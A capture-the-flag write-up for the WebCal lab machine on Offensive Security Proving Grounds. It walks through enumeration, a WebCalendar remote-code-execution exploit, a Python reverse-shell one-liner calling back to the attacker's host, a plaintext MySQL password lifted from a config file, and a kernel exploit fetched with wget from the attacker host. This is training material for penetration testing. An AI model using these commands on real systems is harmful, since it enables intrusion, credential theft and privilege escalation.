> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/webcal.md).

# WebCal

Writeup for WebCal from Offensive Security Proving Grounds (PG)

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.66.37 -t full`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_plnSgPXkjn6dNFe%2F3af61e400c594392bd79c8ab1f9fb8d8.png?alt=media\&token=3865aa9d-8ae2-457a-9aa7-433291dc0889)

`nmapAutomator.sh -H 192.168.66.37 -t vulns`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_mi5EDz04yl5wrFl%2Fe2f62497e8794c54a9b09622bfa5aebc.png?alt=media\&token=640b53ff-235c-41df-9b4e-908cd464c74e)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_sqcJFmwwhZf5b--%2Fb646b002be034d1c994d281a253c8595.png?alt=media\&token=f51e3463-7f79-4bf0-839e-e12705220f92)

### HTTP

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mada3Vl-5SRuQKKhmfY%2Feec0eca2638148bf923d427329916abb.png?alt=media\&token=c7737893-226a-421c-a393-54b786e8537c)

`gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madb-V9CyFX1IsAR0y5%2F0429b7f13a944fa3a648c019980f37c7.png?alt=media\&token=8f5dc425-5e28-4e4a-bad1-30bbda9497a1)

* /resources
* /send
* /webcalendar

We find a login page at `http://192.168.66.37/webcalendar/login.php`.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madb5RZs4tvk4MAv_Hm%2F78de1e60b6414506a0ad3d3e7d54bc44.png?alt=media\&token=8650ef2b-b829-43ea-b2dc-33f30ba23043)

The version is v1.2.3

## Exploit

WebCalendar <= v1.2.4 suffers from an RCE vulnerability: <https://www.exploit-db.com/exploits/18775>

Simply running the exploit above gives us RCE. `php 18775.php 192.168.66.37 /webcalendar/`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbAK--rutdoF-qukd%2F8977a6a9c0ac46499940a756c072ec7d.png?alt=media\&token=641f7113-ef4c-4681-90ac-dd9cbee6bff6)

Once here, we can use a Python payload to catch a reverse shell on our Kali machine.

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbDMjbqhfkRrwjg1N%2Fc4bba3402d714ca3a88cc8d3d09121cf.png?alt=media\&token=10aa6324-4ebd-47cd-b37a-a64b8e329762)

On our Kali machine:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbH6hdenRCGej9BdG%2F8a0406a755c44e44a52e901c12bd9190.png?alt=media\&token=d3bbff84-d821-40d0-957a-36bc28837843)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbJQixJ5IJHWgYATz%2Ff3702a7cf9ad455da6df239e8298126b.png?alt=media\&token=db8f5719-a3d9-4d36-b21b-ce29ae059734)

## Privilege Escalation

### MySQL

The `settings.php` file looks interesting.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbSpNrb8PvCnhr9Ma%2F00f3d4c81f3048829db8819f979d5855.png?alt=media\&token=f9fbdce8-8484-477a-950d-912d624168a6)

Upon further inspection, the MySQL database credentials are in this file.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbVX6T4oIvmfou1RM%2F445285c4d569403cb175567209d6bc79.png?alt=media\&token=f1babd62-17d8-4f2d-87f8-1cd1a528e6d9)

Furthermore, we now have access to port 3306, which is the MySQL port.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbZKLZAvNFSNCO7hl%2F724b343fa230482b9c35d9ef90ec297b.png?alt=media\&token=cbca343e-fbd3-490f-a723-d6445aeee0ca)

```
www-data@ucal:/home$ mysql --user=wc --password 
Enter password: edjfbxMT7KKo2PPC
```

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madbgb-ARhrJbcmAFcs%2Ff7269c70496846ffa17cd9ba79c79d96.png?alt=media\&token=14f0a9b7-6161-4d29-bc61-1e92819af463)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadbjfJsvs_N4cymmp1%2Fdb91a3c3fe1d41fa8c82372e88a3f1ee.png?alt=media\&token=3054b70e-f2ab-41a2-a7c8-f980b297592b)

### Kernel Exploit

The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madbp2fcXQklYoCMmd_%2F92ac0c212dde43ffac643a06f9faa240.png?alt=media\&token=6663ee5c-cce3-4699-992f-8dcef9e6f39d)

Compile: `gcc mempodipper.c -o mempodipper`

Transfer: `wget "192.168.49.66/mempodipper" -O mempodipper`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madbt10nrgdtF82LdWB%2F389c736476d54a88b1cf246057784dc4.png?alt=media\&token=ea23cb7e-6a18-4522-bfa6-d4901c31e333)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Madbw5CwyDumcQ3HoG-%2Fd214e7915ef24d1d94ff05ac13f15f04.png?alt=media\&token=2ad97129-aef9-475d-ad48-f5553a7da70c)